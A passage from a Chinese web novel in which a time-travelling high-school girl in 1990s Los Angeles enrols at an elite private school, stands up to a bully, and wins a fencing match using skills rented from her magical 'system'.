“我知道难度不小,但还是想试试。”菲伊道,“麻烦你稍后把两个年级的课程清单和学分要求都发我一份,我整理好第一学期的选课计划,再拿过来跟您核对。” 哈德森愣了两秒,才反应过来这姑娘是认真的,不是一时脑热。她忍不住多问了句: “你这么急着毕业,是对未来已经有明确规划了?” “对。我打算主申南加大。”菲伊答得干脆。 “南加大?” 哈德森彻底愣住了,手里的笔悬在半空没落下,满脸不可思议,“以你的成绩,稳扎稳打两年冲Top10都有戏,怎么瞄准南加大去了?” “我看好未来的传媒影视市场,现在也在做一些相关方面的小投资。”菲伊简单解释道,“南加大在这方面的资源,是其他学校比不了的。” 事实上,从来洛杉矶的第一天起,菲伊就在考虑这些事了。 一来她知道未来哪些电影电视会爆,上手就能变现。 二来而再过十年互联网风口起来,线上传媒的触角能渗透到全球每一个角落。 到那时,不分国家种族,不分男女老少,但凡有手机,生活工作都离不开它,整整二十年的黄金期,蛋糕大到没法估算。 既然有幸回到30年前,这么大一块肥肉摆在眼前,哪有放过的道理? 所以,什么藤校,什么top10,都是虚的。学历从来只是敲门砖,哪块砖能开门、能变现,就用哪块。 她现在第一要务是快速赚钱还债,影视投资是必抓的机遇,错过这村就没这店了。 可想在美国投资电影却不是有钱就行。 90年代的好莱坞,是一个极度封闭的熟人社会,南加大电影学院的校友网是实打实的硬通货,制片厂高管、独立制片人、顶级经纪公司合伙人里……特洛伊校友占比极高。 有南加大的背景加持,她才算是进了“自己人”的圈子,能拿到内部项目份额、谈更低的投资门槛、对接核心创作资源。没有这个身份,她再有钱也只是外围的“土豪投资人”,只能捡别人挑剩下的项目,拿不到核心收益。 再者,比起那些top10,南加大的申请难度要低一些,她的学业压力就没那么大,可以留出更多的时间忙活其他事。 所以,她的目标有且只有一个,那就是南加大。 当然,这些深层次的原因就没必要告诉哈德森女士了。 “那也没必要赶一年毕业啊,跟着在正常进度学完,再申请学校不更好?”哈德森还是觉得可惜,想要再劝。 菲伊抿抿唇,道:“我有必须这么做的理由。” 哈德森张了张嘴,知道再问下去就触及个人隐私了,不好再劝,便道:“行,既然你主意已定,我就不多说了。资料我稍后就发到你的学生邮箱。如果有选课或者进度上的问题,随时可以过来找我。” “谢谢你,哈德森女士。” “接下来的入学流程,我已经帮你安排好了。今天没有课,你先熟悉校园环境、置办齐校服就好。” 哈德森话音刚落,外头便传来敲门声。 “请进。” 门被推开,一道高挑的身影逆光走入办公室。 75.第75章 菲伊抬眼望去,来人是一位女生,比她高小半个头,一头蓬松柔软的棕发披在肩上,浅褐色的眼眸灵动透亮,神色舒展。 “哈德森女士,我来接温斯洛小姐。”女生开口道,声音柔和清甜。 见菲伊望过来,笑着朝她点点头。 “这是莉亚·库勒,十二年级生,也是学生大使。”哈德森给菲伊介绍到,“她做事稳妥,待会儿由她带你走完剩下的流程。莉亚对学校的一切都很熟悉,有任何问题,你尽管问她。” “麻烦你了,库勒学姐。”菲伊礼貌颔首。 莉亚唇角弯起一抹温和的笑意,侧身做出一个请的手势:“不用客气,跟我来吧。” 很快,两人便走出教务楼,拐进一条宽敞的步道。 莉亚没有刻意寒暄尬聊,直奔主题: “我们学校是走班制,没有固定班级和教室,每一门课的同学、课堂都是重新随机组合的。 你的课表后续会打印成纸质版,开学前我可以陪你对照教室挨个核对,避免上课找错位置。” 她抬手指向步道两侧的建筑,“左手边是文科教学楼,英语、历史、传媒、演讲类课程都在这里,右手边是理科与AP高阶课教学楼,数理、实验、心理学课程集中在这边。 沿着这条路一直往前,尽头处的独栋小楼是艺术与传媒中心,里面有媒体研究教室、演播室和创作画室,也是咱们学校的特色场馆……” 菲伊认真听着,偶尔轻轻点头,把学校的布局在脑子里快速顺一遍,默默记下几个主要的上课地点。 “谢菲尔德看着挺大吧?”莉亚冷不丁地补了句,“校规也很‘大’。踩草坪会扣社区服务时长,在走廊里打闹会扣学分,去年我不小心踩了半脚草皮,扫了一周的图书馆。” 说完她顿了顿,眼角斜过来瞟菲伊。 菲伊愣了一秒,才反应过来这是个冷笑话,赶紧配合地弯了弯嘴角。 莉亚这才满意地转回头,菲伊眼尖地发现,她的脸颊漾起两个浅浅的梨涡。 “噗!”这回她是真没忍住,笑出了声。 没想到看着一本正经的人,却是个冷笑话爱好者。 莉亚听见笑声,挑眉侧过脸,眼神有点懵,像是没懂她为什么又笑。 菲伊:“你刚才说的很有趣,我忍不住又想笑。” 莉亚嘴角又翘了点,显然对这个捧场很受用。 穿过主教学楼,两人径直走到校园西侧的校园商店,校服、文具、校周边全在这儿买。 推开门,一股干净清爽的布料气息扑面而来,货架上整齐陈列着全套校服,红蓝撞色的经典英伦色系格外亮眼。 莉亚先跟柜台后的店员打了个招呼,转头冲菲伊说:“校服都在这边,红蓝配色,共两款。” 她扫了眼菲伊的身形,伸手从货架上抽了两套样衣,叠得整整齐齐递过来: “春夏款是藏青POLO衫配酒红格裙,比较轻薄,平时上课穿。秋冬款是白衬衫加西装外套,配百褶裙,正装日和校外活动得穿全套,冷了可以搭同色系针织开衫。体育课有单独的运动套装,不用穿这个。” 菲伊很快从试衣间出来。两套校服都很合身,挺括有型,英伦风的雅致衬得她身资愈发颀长挺拔,气质干净出挑。 莉亚靠在柜台边看了两眼,满意地点点头:“老实说,谢菲尔德的校服很挑人,不少人穿着会有些呆板拘谨,你上身却意外的好看。” 菲伊对着穿衣镜转了半圈,打量着镜中的自己,也觉得不错。 可大冬天的,她真不习惯光腿穿露膝裙,虽然洛杉矶冬天不算太冷,但她怕以后落下老寒腿的毛病。 “秋冬校服没有裤装款吗?” 这话一出,莉娅和一旁的店员都有些懵,这样的问题她们还是头一回遇上。 “呃,女生的校服统一都是裙装的。”莉娅有些意外地解释道,“怎么,是穿着不舒服吗?” 菲伊暗暗叹了口气:唉,提前毕业的理由又多了一个呢。 然后摇摇头,扬起笑容道:“没事,这个尺寸很合身,就定这两套吧。” 结完账,两人拎着纸袋走出商店。 冬日的太阳晒在身上,暖融融的。莉亚放慢脚步,跟她并排走:“下周一正式开课,当天必须穿秋冬全套。后面选课、找教室有任何问题,随时都可以来找我。” 菲伊正要开口道谢,身后突然插进来一道贱兮兮的声音,硬生生截了她的话头: “哇哦,书呆子口气真不小,我也有问题,能去找你吗?” 听见声音,莉亚的脸唰地冷下来,她猛地转回身: “亨特·莱文,又是你?你偷听我们说话?” 说话的男生人高马大,肩宽背厚,把校服外套随便搭在肩头,只穿了件紧身短袖,小臂上的肌肉线条绷得明显,是常年泡在训练场的样子。 小麦肤色,一头棕短发,五官长得周正,偏生嘴角挂着点吊儿郎当的坏笑,把那点帅气衬得有点欠揍。 他身旁还站着个男生,个子差不多高,却要清瘦一些。亚麻色中长发柔软卷曲,皮肤冷白,视线懒懒散散落在路边草坪上,双手插在裤兜里,整个人像游离在这场对话之外,半点儿兴趣都没有。 “偷听?”亨特像是听了天大的笑话,嗤了一声,“库勒,你也太把自己当回事了。我们顺路走过来,离八丈远就听见你在这充老大,嗓门大得快惊动树上的麻雀了。” 他捏着尖嗓子学她的语气,尾调拖得黏糊糊的,故意往暧昧了拐:“有任何问题,只管来找我~” 学完他挑着眉笑,眼神里全是不怀好意:“哎哟,真的什么问题都可以?” 莉亚气得脸涨红,指尖都攥紧了:“亨特·莱文,收起你那副恶心的嘴脸!否则……” “否则怎么样?” 亨特直接截了话,往前凑了半步,“去训导处告我?这么多年了,你会的不就这一招?天天装好学生讨老师欢心,除了背地里打小报告,你还会干什么?” “你!” “我怎么了?我说错了?书呆子,告状婆,老师的跟屁虫!”他说得刻薄,一字一句往莉亚痛处戳。 莉亚咬着唇,眼眶一下子红了,想反驳,话却堵在喉咙里怎么也说不出来。 菲伊在旁边看得分明,她伸手轻轻碰了碰她的手腕。 莉亚转头看她,菲伊冲她轻轻眨了下眼,往前迈了半步,不动声色把她护在身后。 她看向亨特,状似好奇地问:“你一口一个书呆子地叫她,为什么?” 亨特愣了下,没料到这个生面孔这么捧场,刚要开口显摆,就见菲伊双手轻轻一拍,像是突然想明白了什么。 “啊,我知道了!你是嫉妒她吧?嫉妒她成绩比你好,更得老师的喜爱。” “你胡说八道什么!”亨特嗓门一下子拔高,脸都涨红了,“我嫉妒她?一个只会死读书的书呆子?” 他拍着自己的胸脯,下巴扬得快上天了:“我是谢菲尔德击剑校队主力,去年洛杉矶青年男子组银牌!全校最受欢迎男生排前三!我用得着嫉妒她?” “银牌啊。”菲伊点点头,转头问莉亚,“莉亚,你年级排名多少?” 莉亚愣了愣,下意识答:“第一。” < p>“哦。”菲伊转回头,看着他,语气轻飘飘的,“看吧,人家能拿第一,你最多拿个第二。天天把书呆子挂嘴边,不就是缺什么喊什么吗?也不知道在得意什么。” 话音刚落,旁边一直没出声的菲利普·西尔弗忽然闷笑出声,声音很轻,却清清楚楚落进每个人耳朵里。 亨特“唰”地扭头看过去,眼睛都瞪圆了:“菲利普!你笑我?” 菲利普耸耸肩,视线终于从草坪上收回来,语气淡淡的:“抱歉,没忍住。她说的确实有点道理。” 菲伊仔细打量了对方一遍,发现对方的左手掌根和小指根覆着一层薄茧,再看亨特的右手,同样位置也有茧子,立刻就反应过来。 “让我猜猜~”她拖了点调子,看着菲利普,又看向亨特,“该不会拿金牌的,是你身旁这位朋友吧?” 菲利普终于正眼看向她,浅绿色的眼睛里闪过一丝意外。他抬了抬下巴,微微勾唇:“眼力不错。” 随后转头看向亨特,眉头皱了起来,语气微沉:“行了,训练快迟到了,别在这浪费时间。” 这话不说还好,一说亨特更下不来台。同伴的笑、陌生女生的挤兑,一股火直冲头顶。他往前跨了两大步,手指差点戳到菲伊鼻尖上。 “我今天非得让你知道,什么叫真正的实力!” 菲伊下意识往后撤了半步,肩背顿时绷紧,眼神冷了下来:“怎么,想打架?” 亨特一噎,手僵在半空,梗着脖子喊:“我打你?别乱讲!我从不打女生!我要跟你比试!” “比什么?” “击剑!” 莉亚立刻拽住菲伊的胳膊,怒道:“亨特·莱文,你要不要脸?拿你擅长的东西欺负人?胜之不武!” “我知道她赢不了我!”亨特扬着下巴,一脸得意,“我就是要让她知道,谁才是没本事的那个!” 菲利普也皱着眉,语气更冷了些:“莱文,训练场不是你胡闹的地方。” 菲伊站在原地没动,她也想给这个沙猪男一个教训,但莉亚说的没错,她压根儿没学过击剑,就这么去比,无异于把脸伸过去给亨特打。 但……她可以“借力”。 至于“借力”的对象,她眼睛瞟向斜对面的菲利普,这人是去年的金牌得主,水平自然不比亨特差,甚至要强上不少。 【系统,那个叫菲利普的,对我的好感度多少?】 【15%,未达标。】 菲伊低头撇了撇嘴。再抬头时,脸上露出为难的神色:“莉亚说的没错,我连击剑服都没碰过,用这个比,我太吃亏了。而且你朋友也说了,你们要赶训练,我答应了,不是耽误大家时间吗?这样不好。” 最后一句话说完,菲利普看向她的眼神明显和煦了几分,神色没那么冷了,显然很满意菲伊的明事理。 亨特却不依不饶,抱着胳膊哼了一声:“不答应也行,你现在给我道歉,承认刚才胡说八道,我就放你一马。” “够了!”莉亚气得声音都抖了,“亨特,你简直欺人太甚!为难一个新来的女生,你算什么男人?” “是她先侮辱我的!” “菲伊哪句说错了?你本来就赢不了菲利普,万年老二! 两个人越吵越凶,菲伊又在心里问:【现在呢?】 系统:【16%,仍未达到能力租借的最低门槛。】 菲伊暗暗翻了个白眼:才涨了1%,这人也太难搞了吧? 正盘算着该怎么再刷点好感度,前方不远处忽然传来两道声音: “你们都围在这里做什么?” “菲伊!” 76.第76章 众人闻声齐齐扭头。 方才还张牙舞爪的亨特瞬间收敛了气焰,吊儿郎当的站姿都绷直了几分。 菲伊也愣住了。 晨光里走来三个人:打头的中年男人拄着拐杖,正是清晨广场上被她救下的本杰明?卡特。他身侧跟着两个少年,短马尾的亚当满脸好奇地探头张望,金发的莱昂眼睛亮得像揣了星星,正隔着老远冲她用力挥手。 她着实没料到,本以为只是萍水相逢、再无交集的三个人,竟会在谢菲尔德的校园里再次遇见。 莱昂几步就冲到她跟前,脸上的雀跃藏都藏不住: “真的是你!我还在遗憾早上忘了问你联系方式,没想到你也来谢菲尔德了!” 本杰明也缓步走到近前,冲她微微颔首:“又见面了,温斯洛小姐。” 他目光扫过她手里的校服纸袋,眼底浮起几分诧异,“你这是?” “我是今天来注册的新生,刚办完手续,正跟着莉亚熟悉校园。”菲伊笑着解释。 本杰明恍然,笑着点了点头:“怪不得早上你走得那样急,原来是赶着来报到,倒是我耽误了你不少时间。” 莉亚在一旁听得满脸疑惑:“卡特教练,你和菲伊之前就认识?” “算是吧。”本杰明笑着点点头,解释道,“今早我出门散心,轮椅刹车突然坏了,顺着坡道往下冲,多亏了菲伊出手相救,不然我现在恐怕已经躺在医院里了。” 这话一出,亨特脸色“唰”地又青了半截。 他先前只当菲伊是个没背景的新生,才敢肆无忌惮地找茬,万万没想到对方不仅认识教练,更是教练的救命恩人! 莉亚的目光随即落到莱昂两人身上:“那这两位是?” 亚当早憋了一肚子话了,见终于有人问到他们,立马抢着开口:“我们是陪卡特先生过来的。早上出门撞见他的轮椅坏了,追了半天也没追上轮椅,多亏菲伊出手。 后来轮椅坏了没法用,我们就先送卡特先生回了家。他放心不下队里的训练,非要拄着拐杖过来看看,我们俩闲着也是闲着,怕他路上再出什么意外,就干脆送他过来!正好也顺道逛逛这大名鼎鼎的谢菲尔德。” “哈,逛逛?”亨特闻言,忍不住嗤了一声,“你们当这里是什么地方,也是随便什么阿猫阿狗都能进的?” 亚当一听这话,立刻炸了毛:“你他妈说谁是阿猫阿狗?” “谁接话就说谁。”亨特梗着脖子抬下巴,一脸挑衅。 “你再说一遍试试!” “说就说,你以为我怕……” “都给我闭嘴!” 话还没说完,本杰明厉声喝断了争执,一脸铁青地看向亨特:“亨特,向他们两位道歉。” “教练!”亨特一脸不服。 “不要让我重复第二遍。” 亨特憋得满脸通红,攥了攥拳头,最终还是不情不愿地从牙缝里挤出三个字:“对不起。” 亚当冷哼一声,别过脸去。莱昂也皱着眉满脸不快,只是看在本杰明的面子上,没再继续追究。 本杰明脸色稍稍缓和,转念又想到什么,眉头重新皱起来: “我还没问你们俩,训练时间早就到了,不去场馆准备,堵在这里干什么?” 菲利普上前半步,露出一个得体的笑容:“去场馆的路上,碰巧遇到莉亚和这位新同学,停下来打了声招呼,没留神耽误了时间,我们这就去训练场!” 他说得云淡风轻,半句没提方才的针锋相对,明摆着想息事宁人,把几人的争执就这么揭过去。 可莉亚不肯就这么算了,她早就受够了亨特的言语骚扰。 她咬了咬下唇,抬眼看向本杰明:“才不是打招呼!卡特教练,亨特是故意过来找茬的。” 她没有添油加醋,只把亨特如何插嘴挑衅、用轻佻言语羞辱人,到仗着击剑功底逼人比试的经过,原原本本道了出来。 本杰明的脸色立马又难看了几分。他本是儒雅温和的性子,此刻眉眼一冷,反倒生出十足的压迫感。 “亨特·莱文,谢菲尔德的校规你都当耳旁风了?!在校内寻衅滋事,用言语羞辱同学,这就是你的教养?” 亨特缩了缩脖子,不敢直视他的眼睛,只小声嘟囔着辩解:“是她先挑衅我的,说我是万年老二……” 菲利普也开口道:“教练,这事两边都有责任。口角争执本就是一个巴掌拍不响,这位同学先出言讽刺亨特的比赛成绩,才激得他提出比试。说到底只是学生间的拌嘴,算不上寻衅滋事。” 他话里话外各打五十大板,实则处处替亨特开脱。 这话听得本杰明火气更盛,刚要厉声斥责,菲伊却先一步开口: “菲利普学长说得没错,我确实也有责任。” 对面的亨特闻言,倏地抬头,像是不相信菲伊会主动退让,果然就听她话锋一转,“但亨特侮辱莉亚在先,这事不能就这么稀里糊涂揭过去。就算教练您压着他道歉,他心里多半也不服气,往后指不定还会找别的由头找麻烦 。” “你这是污蔑!”亨特涨红了脸瞪她。 “是不是污蔑,你自己心里清楚。”菲伊没理他的叫嚣,转头看向本杰明,“所以,我同意跟他比试。我输了,我为刚才的话向他道歉;他输了,就认认真真给莉亚赔礼,并且保证以后再也不找她的麻烦。” 亨特瞬间来了精神,下巴扬得老高,想都没想就应下:“行!这可是你自己说的!到时候输了可别哭着找教练告状!” 莉亚惊讶地看向菲伊,用只有两人能听到的声音道:“亨特这人人品不怎么样,但击剑水平确实不赖,难道……你也练过?” 菲伊轻轻摇头:“我连剑都没碰过。” 莉亚顿时急了:“那你怎么还答应他!” “放心,我自有办法。”菲伊拍了拍她的手背,安抚地弯了弯眼,“我就是看不惯有人仗着点长处就欺负人。” 本来她还在苦恼借谁的力,本杰明的出现,问题就迎刃而解了,自己刚救了他,对方的好感值不用问系统,也知道肯定超过20%。而本杰明还是亨特的教练,技术上绝对碾压亨特,是再适合不过的“借力”对象。 她顿了顿,扭头看向本杰明:“不过我有一个条件。我从没接触过击剑,连基本规则都不懂,总得有人先给我讲清楚核心要点,不然这场比试也太不公平了,对吧?” 本杰明闻言拧紧了眉,不赞同道:“菲伊,你考虑清楚了?击剑不是闹着玩的,是需要多年积累的竞技体育,不是短短几分钟就能学会的,这场比试你根本没有胜算。亨特有错,我会严肃训诫他,保证他以后绝不敢再找你们的麻烦。” 菲伊:“卡特先生,您忘了我有功夫在身啦?而且我学东西很快的。” “我承认你功夫很厉害,不然也不会救下我,可隔行如隔山,击剑和华国武术是截然不同的体系,发力逻辑、动作规范完全是两回事。”本杰明语气恳切,依旧试图劝她打消念头。 菲伊朝他眨眨眼,笑道:“这些我都明白,放心,我不做没把握的事。” 本杰明定定看了她一会儿,见她心意已决,终究是叹了口气,松口道:“行吧,你的条件,我答应了。” 话音落下,他便顺势做好了安排:“我亲自给你梳理规则,动作要领部分,我现在不方便,就让菲利普给你演示,他是校队队长,基础动作最标准。” 菲利普蹙了蹙眉,刚想拒绝,就被本杰明一个冷冽的眼刀扫了过来,话到嘴边又生生咽了回去,抿着唇站在原地,脸色算不上好看。 77.第77章 击剑训练场位于体育馆附属侧楼之内。 场馆空间开阔敞亮,层高舒展,成排采光窗落进充足天光,将整间屋子衬得通透明朗。全套专业赛事器械规整陈列,四条标准剑道笔直横贯场地正中。 菲伊心底暗暗咋舌,真不愧是洛杉矶赫赫有名的精英私校,处处都透着金钱的味道。 亚当一进门就吹了声口哨,睁大眼睛四处打量:“我的天,这也太气派了吧!” 莱昂也赞同地点头,目光扫过荣誉墙上一排排全美赛事的奖项,眼底闪过惊叹,他早知道谢菲尔德击剑队强,却没想到战绩这般亮眼。 此刻,已经有七八个队员在热身了,有的对着镜子练弓步,有的两两搭着练刺击。瞥见本杰明进门,所有人立刻停下动作,齐齐站直问好:“教练好!” 招呼打完,众人的目光忍不住往他身后的几个生面孔瞟,有人小声嘀咕,以为是本杰明为队里新招的苗子。 本杰明抬手示意大家暂停训练,指着身后的菲伊四人解释:“他们是来交流参观的朋友。这位菲伊·温斯洛小姐,等会儿要和亨特比一场。” 话音落下,场馆静了半秒,随即响起七嘴八舌的议论声。 所有人都有些懵,搞不清这是什么情况。 亨特是男队主力,去年刚拿了州赛银牌,跟一个看着柔柔弱弱的女生比?这不是摆明了欺负人吗? 可眼见教练不愿多解释,队长菲利普又冷着张脸,没人敢多问。 众人纷纷转回自己的位置,可练习的动作全走了样,眼神一个劲往菲伊那边瞟,满肚子好奇。 本杰明从器材柜取出一套全新的女款护具递到菲伊手里,拉着她站到剑道边,从最基础的握剑姿势讲起。 菲利普被他叫过来演示动作,冷着脸走完花剑、重剑、佩剑的基础攻防架势。 远处偷瞄的队员们彻底惊了——握剑都要从零教? 这姑娘是纯纯的菜鸟啊! 教练他们到底闹的哪一出,把个完全没碰过剑的女生拉到馆里比试? 八卦的心思瞬间拉满,众人手上的动作渐渐慢下来,有的甚至悄悄挪过来,假装在练习,实则伸长脖子看热闹。 三套动作演示完,菲利普擦了擦手,难得地开口:“如果我是你,就会选花剑。它剑身轻,规则相对简单,动作也更灵活,对新手、尤其是女生来说相对友好。” 菲伊却摇摇头。她掠过花剑,径直拿起旁边的重剑掂了掂,道:“不用,我选重剑。” 菲利普怔了怔,随即冷哼一声,“随你。”然后走开,自顾自去旁边的场地练习了。 在他看来,留在这里围观纯属浪费时间,这场可笑的比试不会有任何悬念,那个叫菲伊的女生必输无疑。 本杰明也劝道:“重剑剑身更沉,对力量控制和精准度要求极高,对你这个新手来说难度太大了。” “卡特教练,您忘了?”菲伊抬眼冲他笑了笑,手腕稳稳举起重剑往前一刺,“我力气大,这剑的重量刚刚好,太轻了反倒不好发力。” 亨特听见,嗤笑出声,抱着胳膊斜睨着她:“自不量力。” 很快两人穿戴整齐,站上剑道两端。本杰明担任主裁,莉亚、莱昂、亚当挤在剑道最前面,心都提起来了。 担心菲伊没记住,本杰明再次强调:“重剑全身都是有效部位,只有剑尖刺中才算分,劈打无效。没有进攻优先权,谁先刺中谁得分,40毫秒内同时刺中,双方都算分。” “三局,每局三分钟,时间到得分高的赢。都明白了吗?” “明白!” “明白!” 菲伊隔着金属护面,看着对面蓄势待发的亨特,在心里默念唤出系统:【租借本杰明?卡特的击剑竞技能力,时长3分钟。】 系统:【目标能力为E级,80美元/分钟,3分钟共计扣除240美元。扣除成功,能力同步中,倒计时02:59。】 “第一局,预备——开始!” 哨声落下,计分器随之启动。 亨特率先发起进攻,一个标准的弓步上前,剑尖直直朝菲伊肩部刺来。 已复刻本杰明击剑能力的菲伊,下意识地想快速侧滑,拉开距离。结果右脚迈出去了,左脚却留在原地,如同被束缚住一样,动不了一点。 亨特抓住她步伐停滞的这一空隙,剑尖往前一送,稳稳刺中她护肩。 “滴——”红灯亮起,1:0。 莉亚忍不住低呼一声。围观的队员里也响起窃窃私语: “不是吧,一上来就被吓住了?连躲都不会?” “亨特也太有没有绅士风度了吧,对付个纯新手一上来就下死手。” 亨特眼底闪过一丝轻蔑,攻势更紧,步步紧逼。 菲伊咬了咬牙,强行压下身体的异样,只当是初次接触击剑,肌肉还没跟上记忆,稳下心神抬剑架挡。 可很快她就发现不对劲。。她明明清楚每一步最优应对方式,可左腿永远慢半拍,进退迟缓。本该快稳准的格挡和攻击,手腕发力到一半就莫名软一截,剑刃总是偏开半寸。 莱昂眉头紧皱,凑到亚当耳边压着声说:“不对啊。她早上拦轮椅的时候反应快得离谱,力 气也大,怎么现在连步子都迈不开?” 亚当挠着头:“是啊,你看她左腿,总像不听使唤似的,怪邪门的。” 又是一声脆响,亨特拨开她偏斜的剑,剑尖稳稳点在她护胸正中。 “滴——”3:0。 就算再迟钝,连输三分也该反应过来了,这借来的能力有问题! 【系统!怎么回事?这击剑能力根本不对!步法滞涩,腕力虚浮,本杰明作为资深教练,怎么可能是这种水平?你该不会在坑我吧?】 【恭喜宿主发现了第二条隐藏规则:能力租借默认抓取目标人物当前实时状态下的技能水准,无法调取过往巅峰时期的能力数据。 检测到目标本杰明·卡特当前存在左腿骨折、右腕拉伤,其击剑能力完整度约为32%,步法与上肢发力存在不可逆缺陷。】 菲伊一句“f*ck”差点没骂出来! 合着她花了240美元,租来的不是金牌教练的完整剑术,而是个摔胳膊断腿的半残版本? 这不是明摆着坑钱吗! 她这一分神的间隙,亨特的剑又接连两次突破防线,裁判器的提示音接连响起,比分一路跳到5:0。 几乎是同时,三分钟的倒计时走到尽头,终场的哨声在耳边响起。 第一局结束,零封,惨败。 亨特摘下面罩,甩了甩汗湿的棕发,嘴角的得意快压不住,隔着剑道冲她扬下巴:“怎么样,见识到本少爷的厉害了吧?趁早认输道歉,省得接下来输得更难看。” 菲伊:“还有两局,你不要高兴得太早。” “切,死鸭子嘴硬!”亨特把剑往肩上一搭,满脸不屑,“行,我就陪你打完三局,让你输得心服口服!” 莉亚狠狠瞪了亨特一眼,伸手扶着菲伊的胳膊连声问有没有伤到。莱昂和亚当也跟过来,脸上满是困惑与担忧。 本杰明拄着拐杖走过来,眉头拧得死死的,心里的疑惑越攒越浓。他比谁都清楚,菲伊刚才那滞涩的左腿、发软的右腕,和自己受伤后的状态很像。 难道这姑娘早上救自己时,左腿和右手腕也受伤了,一直硬撑着没说? 想到这里,他的心往下一沉,不由分说走上前,拉过菲伊的右手腕检查。 “咦,你手腕没事?” 菲伊知道本杰明在怀疑什么,她抽回手腕,讪讪笑了笑:“你们放心,我没受伤。”还原地蹦了两下,表示自己好的很。 “那你刚才的动作……”本杰明和莱昂同时开口,眼里的困惑更浓了。 菲伊:卧槽,这该怎么圆过去? 78.第78章 “那个……是因为……” 死脑子,快点转啊! 菲伊面上勉强维持镇定,心里却急得要命,“啊哈……是这样的,我不是一直在练华国功夫吗?刚才想着能不能把自己学过的招式和击剑融合一下,但没想到会这么难,于是就乱了套……” 剩下的,就留给他们脑补吧,她实在编不下去了。 果然,莉亚几人立马露出恍然大悟的神情。 “你这孩子,真是胡闹。”本杰明的表情严肃了几分,一脸不赞同道,“我早跟你说过,击剑和华夏武术是两套截然不同的格斗逻辑,哪里是简简单单就能融合在一起的?” 然后又絮絮叨叨地给菲伊拆解刚才的动作破绽,以及基础发力的调整方式。 菲伊一边听着,一边分神思考对策。 本杰明的这残血技能肯定是不能再用了,可没了这股“助力”,光靠自己零基础,怎么可能赢过练了好几年的校队主力? 这时,很少主动出声的系统,兴许是觉得这回坑了她240美元有些愧疚(?),竟难得地开口:【本杰明的说法并不完全对。】 菲伊心里一动:【什么意思?】 系统:【华国武术和西洋击剑虽分属两套体系,但华国武术和华国文化一样,有一个其他文化没有特点,那就是海纳百川、兼收并蓄,尤其是少林武功,拥有数百套拳械功法,涵盖拳术、掌法、棍术、刀术等门类……】 菲伊:【说重点!】 她以前怎么没发现这系统还有话痨的毛病? 系统安静了两秒,又重新道:【重点就是,经检测,少林达摩剑的兵器逻辑与招式思路与重剑匹配度最高,若使用该技能,本局获胜概率88%。】 【这么高?】菲伊眼前一亮,立刻道,【那还等什么?立刻给我兑换这个技能,6分钟】 谁料,系统却回了句:【抱歉,宿主24小时有过物理接触的人物中,没有人掌握该剑术。】 菲伊:【袁老师和陈老都不会?】 系统:【他们师承的是少林刚猛一派,未修习过达摩剑。】 没学过你提它干嘛? 菲伊翻了个白眼,但还是耐着性子问: 【……但是?】 她不相信系统说这么多,就是为了耍她玩。 果不其然,系统接着道:【但是,所有少林入门弟子都要学习棍法。少林棍法为百兵之祖,素有“三分棍法七分枪”之说,其刺击、格挡、步法逻辑与重剑存在共通之处,经过一定的适配调整,本局获胜几率56%。】 56%,已经不低了! 菲伊立刻打定主意:【OK,那就给我兑换袁老师的少林棍法,6分钟。】 【该技能为E级,80美元/分钟,共计扣除480美元。能力同步中……】 熟悉的温热感顺着经脉蔓延开,这一次不再是格格不入的滞涩感,而是刻进骨头里的熟悉感,和她练了数月的少林功底严丝合缝。 很快,第二局开始。 击剑队的队员们觉得后面的比赛已经没有悬念,菲伊不过是强撑,所以全都放弃围观,各自练习去了。 赛道外,只剩本杰明、莉亚、莱昂和亚当。 “菲伊,加油!” “加油!” “你没问题的!” 莉亚三人纷纷给她打气。 “第二局,预备——开始!” 哨声落下的瞬间,菲伊动了。 和第一局滞涩僵硬的状态判若两人,她脚下一改之前虚浮卡顿的步伐,沉腰落步,重心稳如磐石,进退之间带着华国武术独有的轻灵与沉稳,握剑的手腕力道沉实,再没有半分发软的迹象。 亨特依旧是开场就压上的猛攻架势,一记标准弓步直刺直奔她胸口而来。 可这一次,菲伊没有偏斜失准,手腕轻转,剑刃稳稳地格在对方剑身中段,“叮”的一声,直接将攻势卸到了一旁。 亨特心里“咯噔”一下。 不对,这力道、这格挡的角度,和上一局完全不一样! 场边的本杰明猛地站直了身子,拄着拐杖的手都紧了紧。莉亚眼睛一下子亮了,莱昂和亚当对视一眼,都从对方眼里看到了惊讶。 菲伊顺着格挡的力道顺势撤步,见亨特招式用老,下意识手腕一翻,剑刃带着少林棍法横扫千军之势,迅速扫向对方持剑的手。 “滴——” 裁判器的警示音响起,本杰明也立刻出声提醒。 “警告!非法击打动作,黄牌一次,再犯将判红牌罚分!” 菲伊瞬间回神,连忙收住动作。 差点忘了,重剑只有刺击有效,不能劈砍横扫,这是棍法里最常用的招式,差点坏了事。 啧,她也不是什么武学天才,想要短时间内将棍法完美融入重剑比赛中,难度太大了。 倒不如……菲伊心思一转,立马有了主意。 另一头的亨特,刚松了口气,就见对面的少女调整了姿势。 菲伊决定彻底摒弃生疏别扭的标准击剑滑步,脚下踩着少林步法的底子,小幅度的腾挪、进退都擦着重剑的规则边界走,没有踏出剑道半分,重心却比常规步法稳上数倍。 剑招也不再照搬标准击剑动作,而是把棍法的拦、拿、扎改造成刺击的路子,剑尖抖出细微的弧度,又快又准。 短短十几秒,场上局势彻底反转。 亨特的进攻一次次被稳稳压下,他引以为傲的速度和精准度,在菲伊密不透风的防守面前像撞进了棉花里,每一剑都被恰到好处地格开。 更让他心慌的是对方的反击,剑尖总从意想不到的角度刺过来,带着一股沉猛的力道,逼得他连连后撤。 “滴——”红灯亮起,菲伊拿下第一分。 “滴——”再亮,比分追平。 “滴——”反超。 原本各自训练的队员们,渐渐被这边连续的得分声吸引了注意力,纷纷停下动作,诧异地围了过来。 “什么情况?亨特被压着打?” “这步法也太怪了,从来没见过这么进攻的。” “这真的是刚才那个连步子都迈不开的新手?” 菲利普也停下了训练,目光沉沉地落在剑道上,浅绿色的眼眸里满是讶异。 少女的动作完全不符合正统击剑的规范,可每一下都精准卡在规则之内,防守扎实,进攻刁钻,古怪却有效。 三分钟转瞬即逝,终哨响起时,计分板停在4:2。 菲伊赢下第二局。 场馆里安静了几秒,随即响起一阵低低的哗然。 “哇!菲伊,你好棒!”莉亚高兴地上前抱住她。 亚当和莱昂也激动得像是自己赢了比赛一样,互相击掌庆祝。 亨特摘下面罩,脸涨得通红,指着菲伊愤愤道:“这局不算!她耍赖!她那不是击剑,动作步伐根本不符合规范!” “菲伊确实违规一次,但已黄牌警告,后续动作无违规。”本杰明严肃道,“她的动作的确不属于常规击剑体系,但所有有效得分均符合比赛规则,没有问题。” 